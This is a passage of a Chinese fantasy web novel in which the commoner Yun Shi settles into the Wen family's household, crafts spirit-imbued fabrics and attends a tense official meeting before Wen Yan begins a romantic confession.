温玥这才注意到云实脸上挥之不去的倦色和苍白,吐了吐舌头,有些不好意思:“哦……云实哥哥对不起,我太吵了。你先好好休息!等你好了,再跟我说说外面有趣的事!” 她眼神亮晶晶的,充满了期待。 云实看着她鲜活的模样,心中那根紧绷的弦稍稍松了些,点了点头:“好。” “父亲,那我先带云实去竹溪小院安顿。”温言适时起身。 “去吧。”温父颔首,又对云实道,“安心住下,缺什么只管开口。把这里当自己家便是。” “谢伯父。” 离开书房,走在回廊下,温玥还亦步亦趋地跟着,叽叽喳喳地问温言路上有什么见闻,给她带了什么礼物。温言耐心地一一应答,偶尔看向云实,眼中带着询问,似在问他是否适应。 云实微微摇头,示意自己还好。 竹溪小院果然清幽,一丛修竹掩映着一个月洞门,进门是一个小小的庭院,栽着几株花树,一口小小的水井,三间雅致的厢房,布置得简洁而舒适。 温玥亲自帮着张罗,指挥丫鬟铺床叠被,摆放用具,热情得让云实有些手足无措。温言看她忙前忙后,眼中带着笑意,待一切大致安顿好,才温声对温玥道:“玥儿,云实需要静养,你先回去,晚些再来寻他说话不迟。” 温玥虽有些不舍,但也懂事地点点头:“那云实哥哥你好好休息!我晚点再来看你!”又对温言道,“哥哥,晚上家宴要给云实哥哥接风吗?” “自然。”温言笑道。 温玥这才高高兴兴地离开了。 小院里只剩下温言和云实两人。丫鬟仆役都已退到院外候命。 温言走到窗边,看着外面摇曳的竹影,沉默了片刻,才转过身,看向云实:“我父亲的话,你别往心里去。他身在其位,有些话不得不问,有些态度不得不摆。但他既然允了你留下,便是认可。” 云实点了点头:“我明白。伯父能容我在此,已是莫大恩情。” “不是恩情,”温言走过来,伸手理了理云实肩头并不存在的褶皱,动作自然,“是家人。” 家人……这个词让云实心头一颤。他看着温言近在咫尺的、温润而坚定的眼睛,那里面倒映着自己有些惶然的脸。他想起了青石镇那个小小的家,父母,弟妹。而眼前这个人,正试图在另一个完全不同的地方,为他撑起一片暂且栖身的屋檐。 “晚些的家宴,不必紧张。”温言似乎看出他的不安,温声道,“除了父亲和玥儿,可能还会有两位族叔过来,都是自己人。你只当寻常吃饭便好。若有不认识的人或不知如何回答的话,看我眼色,或者只管微笑便是。” “嗯。”云实应下。他其实并不太擅长应对这种家族内部的正式场合,但既然温言为他铺了路,他只能硬着头皮走下去。 “你先歇着,我还有些公务需要处理,晚宴前再来接你。”温言又叮嘱了几句,才转身离去。 云实在那张柔软舒适,却让他觉得有些不真实的大床上坐了一会儿,起身走到窗边。竹叶沙沙作响,隔绝了外界的喧嚣。 还有温言。他为自己做了太多,多到让云实感到惶恐。这份情,太重,他不知该如何去还,甚至不确定自己有没有资格去承受。 傍晚时分,温言如约前来。云实换上了一套温言提前为他备好的、质料上乘但款式简洁的月白色澜衫,头发也用同色的发带束好。镜中的人影少了几分乡野少年的土气,多了几分清俊,只是眉眼间的沉郁和苍白,依旧难以完全掩盖。 温言打量了他一下,眼中掠过一丝满意,伸手替他正了正衣领:“走吧。” 家宴设在内院的“澄心堂”。此时华灯初上,堂内灯火通明,一张紫檀木圆桌上已摆好了精致的碗碟。除了温父和早已等候在此、叽叽喳喳说着今日见闻的温玥,果然还有两位生面孔。 一位是年约四旬、面容儒雅、留着三缕长髯的男子,穿着宝蓝色直裰,气质温和,正是温言的二叔,在翰林院任编修。另一位则稍显富态,笑容可掬,穿着褐色绸缎员外服,是温言的三叔,负责打理温家部分庶务和产业。 温言带着云实上前,一一引见。两位族叔的目光落在云实身上,带着惯常的、礼节性的打量,二叔气质儒雅,含笑点头,态度称得上和煦,但那笑意并未完全抵达眼底。三叔更爽朗些,笑声也大,拍着云实肩膀时力道不轻:“能让言儿开口认弟弟,不容易!以后就是一家人,别见外!” 话语热络,掌心温热,可那上下打量的视线,依旧让云实脊背微微发僵。 他不太会应对这种场面,只能笨拙地跟着温言的指引行礼,称呼,然后被引到座位上。位置在温言的下手,对面是眼神亮晶晶、毫不掩饰好奇的温玥,再往下是两位族叔。他坐在那张光滑冰凉的红木椅子上,只觉得浑身都不自在,手脚不知如何摆放才算得体。屋子里熏着淡淡的、分辨不出种类的香,案几上的瓷盏釉色温润,连侍立在角落的丫鬟仆役都穿着统一的素净衣裳,垂手敛目,安静得像不存在。这一切,都和他熟悉的、带着烟火气和随意吵闹的家乡截然不同。 菜肴一道道上来,摆盘精致得像画,分量不多,名目却听得云实茫然。他不敢先动筷子,只等温父举箸,才学着旁人的样子,小心翼翼地夹取离自己最近的一小碟素菜。味道是好的,但他食不知味,全部的注意力都用在观察和模仿上:什么时候该举杯,什么时候该停箸,别人说话时要放下筷子认真听,自己回答时要先咽下口中的食物…… 席间,温父话很少,只偶尔问温言一两句公务,语气平淡。二叔与温言聊起某位翰林新作的赋,用的是云实半懂不懂的典雅词句。三叔则说起一桩与江南织造有关的生意,提到了几个云实从未听过的商号名头和复杂关节。他像个误入他人宴席的陌生人,只能沉默地听着,努力从那些话语的间隙里,捕捉一丝自己能理解的东西。 话题终究还是落到了他身上。二叔端起茶盏,语气温和如常:“云实小友是南边人?彼处山水灵秀,民风想必也与京中迥异。” 云实放下筷子,坐得更直了些,斟酌着字句:“是,晚辈从小在乡间长大。家乡……日子平静,百姓多是守着田亩作坊过活。” 他避开了具体地名,也模糊了自家的情况。 三叔笑了一声,接话道:“布料生意是门学问。南人北客,喜好不同,行情也瞬息万变。小友既是行家,不妨说说看?” 云实深吸一口气,努力回想父亲平日与人谈生意时的口吻,尽量说得平实:“不敢称行家。只是知道南边湿热,多爱棉麻的透气清爽;北地干冷,厚实的毛料和绒缎更受欢迎。近来……似乎有些微效用的料子,在……在一些人家里开始时兴,价格不菲。” 三叔眼中掠过一丝微光,笑容深了些:“哦?小友连这个也留意到了?看来确是用了心的。不过这些花哨东西,终究是小道,料子本身扎实,穿得久,才是根本。” 一直支着耳朵听的温玥终于忍不住,插嘴问道:“是不是锦绣阁里那种在光下会泛一层柔光、摸起来滑滑凉凉的料子?娘亲以前有一块,舍不得做衣裳呢!云实哥哥,你能做出那样的吗?” 少女的追问直接而纯粹,带着对新鲜事物的天然好奇。 “玥儿。”温父的声音不高,却让温玥立刻缩了缩脖子,吐吐舌头,不敢再问。 云实连忙摇头:“那种……需要极精巧的手艺和特殊处理,晚辈不会。” 这是实话,他擅长的引导纹路是基于灵力感知和自己领悟到的混乱原理,与市面上那些追求美观与微弱舒适效用的灵纹布并非一路。 温言大部分时间安静地用餐,偶尔在云实回答后,才自然地开口,语气平和:“他于织物经纬的纹理变化,有种天生的敏锐,心思也细。” 宴席过半,气氛在酒意和家常话题中显得松弛了些。三叔谈兴愈浓,说起某家勋贵子弟的荒唐事。二叔则与温父低声交谈,内容听不真切。 就在这时,前院传来一阵略显急促的脚步声,以及压低的人语,打断了内院的宁静。虽然很快止息,但席间众人还是下意识地停下了动作。温父眉头几不可察地蹙了一下,看向侍立在门边的福伯。福伯悄无声息地退了出去。 片刻后,福伯回来,俯身在温父耳边低声禀报。云实离得近,隐约捕捉到“京兆府”、“巡城司”、“问询”几个零碎的字眼。他的心猛地一悬,握着筷子的指尖微微发白。 温父听完,面色如常,甚至对众人笑了笑,语气平稳:“无事,京兆府的人循例问几句话,我去去便回。你们继续。”他站起身,从容整理了一下衣袖,临走前,目光似有意似无意地扫过云实,那一眼很平静,却让云实感到一种沉甸甸的分量。 “云实小友,且宽坐。” 温父一离开,厅内的空气仿佛凝滞了一瞬。碗碟轻微的碰撞声都显得突兀。温玥不安地看了看哥哥,又瞅了瞅云实。三叔打着哈哈,试图重新挑起话头,但效果寥寥。二叔端起茶盏,慢慢啜饮,眼帘低垂,不知在想什么。 云实低下头,盯着眼前碟子里凉透的菜肴,胃里沉甸甸的,毫无食欲。耳朵却竖着,竭力想捕捉前院传来的任何一丝声响,然而只有一片令人心焦的寂静。他能感觉到对面温玥好奇又带着点担忧的目光,也能感觉到旁边温言身姿依旧挺拔,却同样沉默着。桌下,温言的手伸过来,覆在他冰凉的手背上,用力握了一下,干燥的掌心传来清晰的暖意和力量,随即放开。这个短暂而隐秘的接触,像是一道小小的避风港,让他狂跳的心稍稍安定了一分。 时间变得格外漫长。每一口呼吸都带着无形的压力。 终于,沉稳的脚步声再次响起。温父回来了,神色与离开时并无二致,甚至嘴角还带着一点未散的笑意。 “一点小误会,已经说清楚了。”他落座,语气轻松,“京中近日事务繁杂,他们也是奉命行事,逐户核对记录罢了。咱们府上近日并无生客,自然无事。”他举杯,目光环视一圈,那眼神温和而笃定,“来,别让这点插曲扰了家宴。” 气氛似乎重新活络起来。三叔立刻笑着应和,二叔也放下了茶盏。温玥松了口气,又开始小声和温言说起什么。可云实知道,有什么东西不一样了。他明白,温父的轻描淡写,是一种保护,也是一种表态——温家认下了他,也会担下因此可能带来的视线。但这同时也意味着,他这块“石头”,确确实实已经砸进了京城的深潭,激起了涟漪。 剩下的时间,他吃得更加心不在焉,努力维持着表面的平静,回应着偶尔抛来的话题,心里却像压着一块石头。 家宴终了,温言送他回竹溪小院。月光清清冷冷地铺在青石路上,廊下的灯笼晕出暖黄的光圈,却驱不散云实心头的寒意和那份挥之不去的局促。 “是不是……给你和伯父添了很大的麻烦?”走到无人处,云实终于忍不住,低声问道。 温言停下脚步,转身面对他。月光下,他的面容显得有些朦胧,但眼神清晰而稳定。 “不是麻烦。”他的声音不高,却带着一种让人信服的力度,“是家人该做的事。”他顿了顿,看着云实依旧紧绷的肩线,语气缓下来,“京城就是这样,盘根错节,耳目众多。你初来乍到,引人注意在所难免。但既然进了温家的门,这些风雨,自有高个子替你挡着。父亲今晚的态度,你看到了。他不是敷衍,是告诉你,也告诉外面的人,你在这里,是过了明路的。” 云实张了张嘴,那句“天衡宗”在舌尖转了转,终究没问出口。温言似乎看透了他的心思,直接道:“那边的事,有我。你如今是温家云实,记住这一点就好。其他的,一步一步来。”他伸出手,这次没有碰手背,而是轻轻摸了摸云实的头顶,动作自然得像对待自家弟妹,“别多想。今天你做得很好。先去休息,明天开始,慢慢熟悉这里。” 回到那座精致却陌生的竹溪小院,关上房门,将一切声响隔绝在外。云实背靠着冰凉的门板,缓缓滑坐下去,抱住膝盖。 19. 【十六】2 日子一天天过去,云实在温府的生活,被一种他从未体验过的、井然有序的正常包裹着。温言说到做到,第二天便开始带着他在府内走动,熟悉各处院落、库房,认识几位管事。 温言语气自然地向所有人介绍:“这是云实,我弟弟。他初来京城,诸事不熟,你们多照应。” “弟弟”。这个词从温言口中吐出,那么顺畅,那么理所当然,仿佛天经地义。可每一次听到,云实的心都会像被细针轻轻刺了一下,泛起一阵混杂着无措与酸涩的悸动。尤其是当下人们,无论是年长的管事福伯,还是洒扫的年轻小厮,都恭敬地垂手唤他“云实少爷”时,那种不适感几乎要冲破他的镇定。 “叫我云实就好。”他总会忍不住纠正,声音干涩。对方往往露出训练有素的、略带惶恐又恰到好处的笑容,应一声“是”,但下一次见面,那声“少爷”依旧如影随形。 这声“少爷”,听着比“通缉犯”还让人心慌。云实走在铺着平整青石板的回廊下,看着雕花的窗棂、庭院里精心打理的名贵花木,心里沉甸甸的。我算什么少爷?不过是个借了光的泥腿子,侥幸没死在荒郊野外,如今踩在别人的云端上,脚下虚浮,头重脚轻。他穿着温言为他备下的、料子柔软舒适的衣裳,却总觉得有无数看不见的丝线勒在身上,提醒着他与这里的一切格格不入。 温言对他的安置,远不止一个栖身的院落。几天后,温言将他带到温府西北角一处原本用作杂物库房的独立小院。院门推开,里面已经收拾得干干净净,宽敞明亮。靠墙是一排崭新的、散发着木头清香的工具架和材料柜,上面分门别类摆放着东西:一侧是云实熟悉的纺锤、梭子、各色丝线棉麻、染缸、熨斗、大小剪刀、顶针,甚至还有一架半新的织机;另一侧,则是云实较为陌生的、闪烁着金属或玉石光泽的物件——刻刀、錾子、不同硬度的灵性石料坯子、用于稳固和微调的简易阵法盘、几本明显是基础炼器入门和常见低阶符文图谱的崭新书册。 “这里僻静,不会有人打扰。”温言的声音在他身后响起,平和如常,“我知道你原来的本事在布料上,但修行路上,很多道理相通。你可以在这里慢慢摸索看看。缺什么材料,或是想找什么书,直接告诉福伯,或者找我。” 云实站在屋子中央,看着眼前这一切。阳光从高窗洒进来,照亮空气中飞舞的微尘。工具是顶好的,材料是齐全的,书册是崭新的,连空气中都没有陈年杂物库房惯有的霉味,只有干净的木头和纸张的气息。这大概是任何一个像他这样出身、又对“制造”有点想法的人,梦寐以求的地方。 可他心里涌起的,不是欣喜,不是跃跃欲试,而是一种近乎窒息的沉重。债务。沉甸甸的、肉眼可见的债务。这每一件工具,每一匹好料,每一本他可能根本看不懂的书,都在无声地增加着那份他欠温言的、永远也算不清的“账单”。温言越是这样不求回报地给予,他越是感到惶恐,仿佛自己正站在一个不断升高的悬崖边,脚下却只有流沙。 他喉咙发紧,半晌才低声挤出一句:“太……破费了。” 温言拍了拍他的肩膀,力道温和:“自家地方,闲置也是闲置。能用起来就好。别想太多,就当是个让你自在些的窝。” 他语气随意,仿佛这真的只是一件微不足道的小事。 这窝太精致,太周全,周全得让云实无处安放他那份根深蒂固的不配得感。他又开始以一种近乎苛刻的、带着赎罪意味的方式使用这里的一切。他熬夜,在灯下细细地画图,反复拆改。这一次,目标不仅仅是舒适与合身。温言给他的那些关于基础炼器、符文、灵力导引的入门书册,他囫囵吞枣地看,许多术语原理依旧云里雾里,但某些感觉却和他摸索储物袋、缝制法衣时的体验隐隐重合。 云实坐在灯下,指尖捻着那掺了静心草纤维的丝线,闭眼感受着其中微弱的宁定气息。 他不是第一次处理这种带有微末灵性特质的材料了。给温言做法衣时,他就试过好几种据说有助宁神或灵力亲和的辅料。结果有好有坏:有些料子的所谓特性微乎其微,掺进去跟普通丝线没两样;有些则太过活泼,不仅无法与他试图引导的灵力纹路配合,反而会干扰整体结构的稳定,让辛苦绣好的阵列效果大打折扣。 这次温言给的这批混了静心草纤维的料子,品质明显好得多。那股宁定感虽然微弱,却清晰、稳定,与丝棉基底融合得也好,没有明显的冲突感。这让云实心里有了底,至少材料本身的基础是扎实的。 他铺开料子,手指轻轻拂过表面。之前做法衣,他是在成衣的内衬上,用针线配合自身灵力,绣出一个个功能明确的阵列。 这次,他萌生了一个有点不同的念头。既然这料子本身的宁定感就来自纤维,能不能不靠外加的、独立的阵列,而是直接在这料子本身的肌理里做文章?让这种宁定感,从布料内部被更有效地引出来,或者……养在里面? 这个念头让他来了精神。他重新捻起丝线,这次不仅仅是感受,而是尝试着将自身灵力顺着指尖,极其缓慢地沁入几根静心草纤维中。他发现,当他的灵力以一种非常平缓、带着轻微接纳与引导意味的节奏与纤维接触时,那股宁定感似乎会被略微地唤醒和抚顺,变得更加清晰、柔韧。反之,如果灵力稍显急躁或带有强制性的刻画意图,宁定感反而会收缩、滞涩。 他开始在巴掌大的一小块料子上做更细致的尝试。他不再预先设计复杂的“阵列”图样,而是将注意力完全集中在布料本身的经纬交织点上。他尝试用那丝独特的灵力作引子,在几个关键的经纬节点上留下极其微弱的、带有安驻与联通意味的印记。 然后,他用掺了同种静心草纤维的绣线,以极其精巧的针法,沿着他感知中料子内部那股宁定气息自然流动的微弱趋势,在这些做了印记的节点之间穿梭缝纫。针脚细密得几乎看不见。 这个过程对控制的精细度要求极高。灵力注入节点的深浅、绣线穿梭的松紧与角度、每一针与下一针之间气息的连贯……都需要全神贯注的感知和即时调整。他失败了很多次,有的地方网织得太密,气息凝滞不动了;有的地方又太疏,起不到涵养引导的作用。 但他不急。每次失败,他都会用手指细细抚摸那块试验料,用灵力感知去阅读失败在内部留下的痕迹,分析哪里堵了,哪里断了。他把这些体悟,用最简单的线条和词语记录在旁边的草稿上:“节点力微三分,气顺”、“此处连线过疾,如刀切流,气散”、“缓入慢出,如呼吸,气始活”。 当一小块试验料最终成功呈现出稳定而持久的、比原材料本身更浓郁柔和些的宁定感时,云实知道,他给以前的方法做了些许革新。这次,他总算有心情把这些发现写下,整理好。 夜深了,他眼中却毫无倦意,只有一种沉浸在探索中的亮光。当一件里衣在他手下渐渐成型,内部那些他精心编织的无形轨迹开始相互连接、呼应,形成一个虽简陋却完整、能持续引导和微幅放大静心草气息的隐秘结构时,一股强烈的成就感涌了上来。 当第一件给温言的里衣终于完成时,云实眼底布满了血丝,心里却没有多少喜悦,只有一种“总算没白费这些好料子”的、带着疲惫的释然。他将衣服叠好,放在温言房中,没有多说一个字。 给温玥的香囊,他也动了心思。寻常香囊,香气随时间流逝总会淡去。他选用的宁神干花和香草品质很好,但他想要更持久、更稳定的效果。他在香囊内衬绣上一个极其精简的、借鉴了储物袋“锁固”原理但反向操作的微型纹路阵列,为香囊内部提供一个几乎可忽略不计的、维持活性的动力。香囊看上去精巧可爱,绣着憨态可掬的狸猫扑蝶图样,但握在手中,能感到一种非常轻微的、仿佛有生命般的温润波动,香气幽微却绵长,数月不散。温玥爱不释手,挂在身上几乎从不离身。 至于温父的护膝和暖手套,他用的心思更重。他不敢用太明显或复杂的手法,怕引起不必要的注意或反效果。他选用的是最构建一个简单、仅能作用于方寸之地的聚暖与阻散回路。这个回路会尽量将人体自身散发的些微暖意和药草缓慢散发的温性困在护具包裹的范围内,并延缓其向外散失的速度。成品毫不起眼,甚至有些笨拙厚重,但温父戴上后,在阴雨天里,旧伤处的寒意和滞涩感确实有了明显的缓解。这变化极细微,但温父什么也没说,只是让福伯将另一处旧伤的位置和情况,也“无意中”让云实知晓了。 每一次将成品送出,他心中那沉甸甸的债务感会略微松动一丝,但随即又被更深的焦虑取代——这些微末的“有用”,真的配得上温言给予的一切吗?他消耗的材料、他独自占据的工坊、他借阅的书籍、温言为他挡下的潜在风波……这笔账,似乎永远也填不平。 数月后,当温言来工坊找云实时,云实正对着一小块织纹古怪的布料皱眉,指尖悬在上方,一丝微弱的混沌灵力如游丝般探入又收回,反复感知着内部纹理与预设引导效果之间的细微偏差。 “歇会儿。”温言的声音在门口响起,带着一丝不易察觉的、完成某件重要事务后的松弛感。他走进来,目光扫过案几上摊开的各种布料小样、画满只有云实自己能看懂的符号线条的草稿,以及那件刚刚完工、折叠整齐放在一旁的静心纹里衣。他伸手拿起里衣,手指拂过表面,无需刻意探查,一种温和持久的宁定感便如静水微澜般顺着指尖传来。 “成了?”温言问,眼底有赞许。 “嗯,比预想的稳。”云实放下手里的东西,揉了揉有些发涩的眼眶,“这种织网涵养的法子,对料子本身要求高,但成了之后,效果更贴,消耗也小。” 温言点了点头,将那件里衣仔细放回原处,沉吟片刻,看向云实:“这东西,还有你之前琢磨的那些……我递上去了。” 云实一愣:“递上去?” “嗯,按规矩,以我监察使的身份,举荐特殊人才及成果,报备京畿修士人才总库。”温言语气平和,像在说一件寻常公务,“你这路子虽然野,不属任何正统炼器、符箓流派,但效用实在,思路也别具一格。上面看了记录和实物,批了。” 云实心脏猛地跳了一下,不是喜悦,而是一种骤然被推到灯光下的微眩和紧张。 “上面……是指?” “一个地方,叫‘研备司’,挂靠在枢机阁下面,不常对外提。里面有个‘异才处’,专管各地上报的、不好归类但确有实效的偏门技艺和人才。”温言解释道,“不算正式官职,算个……备案身份,有些内部的小规模研讨场合,有机会参与。我替你报了名,下次旬会就在三日后,我带你去。” 云实张了张嘴,想说什么,又咽了回去。温言为他铺路,他明白。但这路通向的地方,听着就让他本能地想退缩。 三日后,温言带着云实穿过数道守卫森严、设有层层鉴别阵法的门禁,进入一座位于皇城内僻静处的青黑色建筑。建筑内部没有寻常衙署的喧闹,异常安静,走廊宽阔,两侧是一个个紧闭的、铭刻着不同符文标记的房间。 温言领着他来到一间标注着“壬七”的厅堂外,推门而入。 厅内光线明亮柔和,呈半环形摆放着十余张宽大的座椅,并非整齐划一,材质样式各异,显然是为不同体态习惯的人准备的。此时已有七八人到场,分散坐着。 云实一眼就看到了坐在靠窗位置的那个人。 苏妄。 他依旧穿着那身标志性的、料子华贵却总显得有些不羁的衣袍,姿态闲散地靠在椅背里,手里把玩着一枚棋子大小的黑色物件,仿佛感应到目光,他撩起眼皮,精准地捕捉到刚进门的云实,嘴角勾起一个极淡的、意味不明的弧度,随即又垂下眼,继续把玩手里的东西,仿佛只是看到一个不太熟的陌生人。 云实呼吸一滞,指尖瞬间冰凉。他怎么会在这里?代表谁?大自在天?还是他自己? 温言脚步也几不可察地顿了一下,脸上的温和未变,但眼神深处骤然凝聚的锐利与警惕,云实能感觉到。温言轻轻握了一下云实的手腕,示意他镇定,然后带着他走向两个空位。 落座时,云实才勉强将目光从苏妄身上移开,打量其他人。 没有预想中仙尊降临、威压弥漫的场景。除了苏妄这个极度不稳定的存在,其余在座之人,有男有女,年龄看起来从三四十到六七十不等,衣着打扮各异,有的像温文尔雅的学者,有的带着工匠般的朴实,还有两位气息明显偏向阵法师的沉凝。他们彼此之间似乎也并非全都熟识,只偶尔低声交谈两句,气氛带着一种专注事务的疏离感。 没有天衡宗的霁雪仙尊。云实不知该松口气还是更感不安。 很快,人齐了。一位看起来像是主持者的、面容清癯的老者清了清嗓子,没有废话:“今日旬会,按例先通传各方近期异项备案摘要,而后可择要讨论。乙字第三号,四明宗报备,南疆蚀骨木阴气剥离新法,尝试用于低阶护甲内衬,有进展,但附着力存疑,需进一步验证……” 老者语速平缓,吐字清晰,可云实听着,却仿佛在听天书。 “丙字第七号,玄戈城报备,利用断续晶在高温下的相变特性,尝试改进传统地火控温法阵的核心符盘结构,理论推算可提效一成半,实测数据待补全……” “丁字第一号,混沌海观测站报备,新发现一种暂命名为潮引贝的低阶妖物分泌物,疑似对‘虚’侧灵气有微弱定向吸附作用,样本已送抵,申请启动基础物性测试序列……” 每一个字他都认识,但连成句子,指向那些他闻所未闻的材料、原理、验证方法、甚至观测地点时,他完全无法理解其中的逻辑和意义。 云实僵硬地坐着,手指无意识地攥紧了衣角。他感觉自己像个闯进精密钟表内部的野孩子,看着那些复杂咬合的齿轮发愣,完全不明白它们如何运转,又为何要如此运转。他之前那些在工坊里熬夜摸索出的、自认为颇具巧思的织网涵养法,在这些系统化、理论化的讨论面前,显得如此零碎、如此“不上台面”,甚至……如此幼稚。 他偷偷看了一眼温言。温言坐姿端正,神色专注地旁听着。 他又用余光瞥向苏妄。苏妄还是那副漫不经心的样子,甚至有点走神,但云实莫名觉得,这家伙绝对听懂了,而且可能听得挺无聊。 一股混杂着自卑、茫然和轻微恼怒的情绪堵在云实胸口。 “……以上为通传内容。”清癯老者合上手中的玉板,“诸位可有即时应议、或需协调之事?” 短暂的安静。 忽然,苏妄像是刚睡醒般,懒洋洋地举了举手,也没等老者点名,就开口道:“没什么应议的。就是瞅见个有趣的小玩意儿备案。”他目光似笑非笑地扫过云实这边,最终落在温言身上,“四明宗报上来的,‘织物内导灵纹理’初探,是吧?思路是够野的。谁做的?叫来瞧瞧呗,正好问问,他那乱……哦,他那独特的灵力引导介质,对化凝维度在微观层面的干涉阈值,测过没有?” 全场目光,瞬间聚焦到了温言和云实身上。 云实的背脊一下子绷得笔直,指尖冰凉。 温言放在膝上的手几不可察地收紧,但面上的温和镇定没有丝毫破裂。他迎着苏妄似笑非笑的目光,也看向那位主持的清癯老者,语气平稳地开口:“苏道友所言,涉及灵力性质的基础研究,自是重要。不过今日异才处旬会,主旨在于查验各异项备案的实效与潜在应用价值,循例是以成果论,方法路径可容后反推、验证。” 他顿了顿,目光扫过在场其他人,声音清晰:“四明宗所报织物内导灵纹理初探,备案编号戊字十一。备案者云实,便是在下身边这位。此法非正统炼器、符箓路数,乃其基于凡俗织造经验与自身特殊灵觉,自行摸索而成。备案所附三件试作样品——静心内衬、恒香囊、恒暖护膝——经由司内常规效用检测,其涵养特定气息、缓释、微幅聚暖之效明确、稳定,且制作材料寻常,工艺虽精却可复现。这便是其实效。” 清癯老者微微颔首,目光落到云实身上,带着例行公事的审视,但并无苏妄那种刻意挑破秘密的恶意。 “云实小友,”他开口道,声音依旧平淡,“温监察使所言无误。司内存档,首重实效与可验。你之法,既已通过基础效用核验,便算在此间立了档。至于其原理根源、灵力特质细节,属后续深化研究范畴,非今日旬会必须厘清。苏道友若有兴趣,可按司内规程,另行提交协作或质询申请。” 苏妄挑了挑眉,似乎对这套官样文章的回答颇觉无趣,嗤笑一声,重新靠回椅背,摆弄他那枚黑色物件,不再言语。 接下来的时间,对云实而言更是煎熬。讨论转向其他备案项目,涉及的知识领域愈发深奥遥远。他像个误入高等学府的蒙童,除了紧紧闭着嘴,努力维持表面镇定,内心早已被茫然和无所适从淹没。那些流畅交换的专业术语、严谨的实验数据引用、对某个理论边界的热烈争论……都筑成一道他无法逾越的高墙。 好不容易熬到旬会结束,众人陆续离去。苏妄走得最早,经过云实身边时,脚步未停,只留下一个近乎耳语、却清晰钻入云实耳中的气音:“小虫子钻进了琉璃塔,有趣。” 随即身影便消失在门外。 温言起身,对那位清癯老者又说了两句客气话,这才带着云实离开。 走出那栋青黑色建筑,重新呼吸到皇城外相对自由的空气,云实却感觉不到丝毫轻松。他沉默地跟着温言,直到坐上返回温府的马车,车厢隔绝了外界,他才猛地吸了一口气,仿佛刚才一直屏着呼吸。 “温言,”他声音有些干涩,手指无意识地抠着身下柔软的坐垫,“我……我可能干不了这个。” 温言正闭目养神,闻言睁开眼看他:“什么干不了?” “就是……那个什么‘研备司’,‘异才处’。”云实抬起头,脸上是掩饰不住的疲惫和一种近乎脆弱的惶惑,“那里的氛围太奇怪了,那些人说的话,我一句也听不懂。他们看我的眼神……还有苏妄!他怎么会在那里?他今天那句话是什么意思?我坐在那里,浑身都不自在,压力太大了。今天要不是你在我旁边,我……我早就想跑了。” 他说得有些语无伦次,但情绪真实。那不是一个适合他生存和思考的土壤,那里的一切都让他感到自己的渺小、无知和不正常被无限放大。 温言静静听着,没有立刻安慰,等他情绪稍稍平复,才缓声道:“我知道那里让你不舒服。但云实,你不必听懂他们说的每一句话。异才处要的,不是另一个和他们一样说话的人,而是像你这样,能拿出实实在在、不一样东西的人。” 他身体前倾,目光专注地看着云实:“你备案的那个,今天会上虽然只是提了一下,但既然已经立档,效用核验通过,后续就有可能被列入司内的待评估推广项目。一旦某个项目被评估为具有普遍应用价值、且成本工艺可控,是有机会被朝廷采纳,编入某些制式装备的制造规范,甚至是向民间工坊有限推广的。” 云实迷茫的眼睛里,因为几个词,渐渐聚起一点光。 “意思是……以后人人都可能用上?”他声音里带上了一丝他自己都没察觉的急切,“比如,用很便宜的法子,让冬天做不起皮袄的人,穿的衣服也能更暖和?或者,让那些要上战场、又买不起好盔甲的兵士,衣服里能有点简单的防护?” 这个念头让他心跳加快。如果他摸索出的这些织纹法子,真的能降低成本,让更多普通人受益……那似乎比他单纯给温言、温玥做东西,意义要大得多。 温言看着他眼中骤然亮起的光,心里软了一下,但随即理性地摇摇头:“你的想法很好,但事情没那么简单。”他斟酌着用词,试图用云实能理解的方式解释,“首先,你提到的便宜,是材料便宜。但你这法子,核心在于织纹,这需要操作者至少能有你那样的特殊灵觉去引导、感知,或者,退一步,需要极精密的、能模拟你那种灵力引导方式的专用工具。这两者,无论哪一样,现阶段都很难便宜地普及。” 他见云实眼神黯淡下去,继续道:“至于你说的战场应用,反而可能性大些。朝廷在军用物资上,成本承受力更高,也愿意尝试一些能提升士卒生存能力的新东西。如果经过严格测试,证明你这种织纹方法确实能在不显著增加重量和成本的前提下,为军服提供额外的保暖、缓震甚至微弱的防切割能力,是有机会被考虑的。但这需要大量的测试、数据、标准制定,不是一蹴而就。” 云实听懂了,又好像没完全懂。他沉默了下去,目光转向车窗外飞速掠过的街景,那些繁华整齐的屋舍楼阁此刻在他眼中模糊成一片晃动的色块。温言的话在耳边回荡——“需要特殊的灵觉或精密工具”、“成本承受力”、“测试、数据、标准”……每一个词都像一块石头,压在他刚刚升起的那点微薄希望上。原来,让一件好用的东西被更多人用上,中间隔着这么多他从未想过的、实实在在的阻碍。 车厢里只剩下车轮碾过石板路的规律声响。温言看着他沉默的侧脸,没有打扰,只是重新靠回椅背,也闭上了眼睛,仿佛在养神,又仿佛在思考。 一路无话。 马车驶入温府侧门,稳稳停下。温言先下车,站在一旁。云实这才像是被惊动,略显迟缓地挪动身体,下了车。夜风带着凉意拂过,他下意识裹紧了衣衫,依旧沉默地跟在温言身后。 两人穿过熟悉的回廊庭院,走向竹溪小院的方向。到了屋内,那些在车厢里盘旋的、混杂着技术挫败和更深层迷茫的情绪,终于冲破了沉默的堤坝。 “我现在这位置,真是莫名其妙。”云实的声音很低,带着一股压抑已久的涩意。 温言眼神微动:“嗯?” “我是你‘弟弟’,”云实扯了扯嘴角,笑容在昏暗光线下显得格外苦涩,“但只有我们自己知道是怎么回事。我的能力也莫名其妙,来路不正,野路子。以前需要力量护身、需要堂堂正正身份的时候,我没有。现在……我好像摸索出一点可能对别人有用的方法了,可它又因为各种原因,很难真的让需要的人用上。” 他抬起头,看着温言,眼中映着跳动的灯火,也映着清晰的困惑与不甘:“温言,你把我带到这里,给我这些东西,到底想让我做什么?我又能做什么?” 温言被他眼中复杂的情绪刺了一下。他听懂了云实后半句的迷茫,但关于能力推广的困境,涉及体制、成本、技术壁垒,不是几句安慰能化解……他只能先回应前半句。 他伸手,轻轻握住云实放在膝上、微微发凉的手,语气是罕见的认真,甚至带着一丝郑重:“云实,你问我为何庇护你,把你当家人。我承认,最初有怜惜,有对你心性和那股韧劲的欣赏,也有……因我自身处境而生的一点私心。但后来不是了。” 他顿了顿,似乎在组织语言,也似乎在下一个决心:“我确实想往上走,掌握更多力量,做更多事。这条路不容易,或许也很孤单。但我希望,至少在我身边,能有一个完全可信、彼此懂得的人。不是下属,不是盟友,是……更亲近的。” 他看着云实骤然睁大的眼睛,继续说了下去,声音压低了些,却字字清晰:“你毕竟不是女子。若你是女子,我或许可以明媒正娶,让你名正言顺站在我身边,共享我的一切,也分担我的所有。但即便那样,也难堵悠悠众口,少不了风言风语。可你不是。” 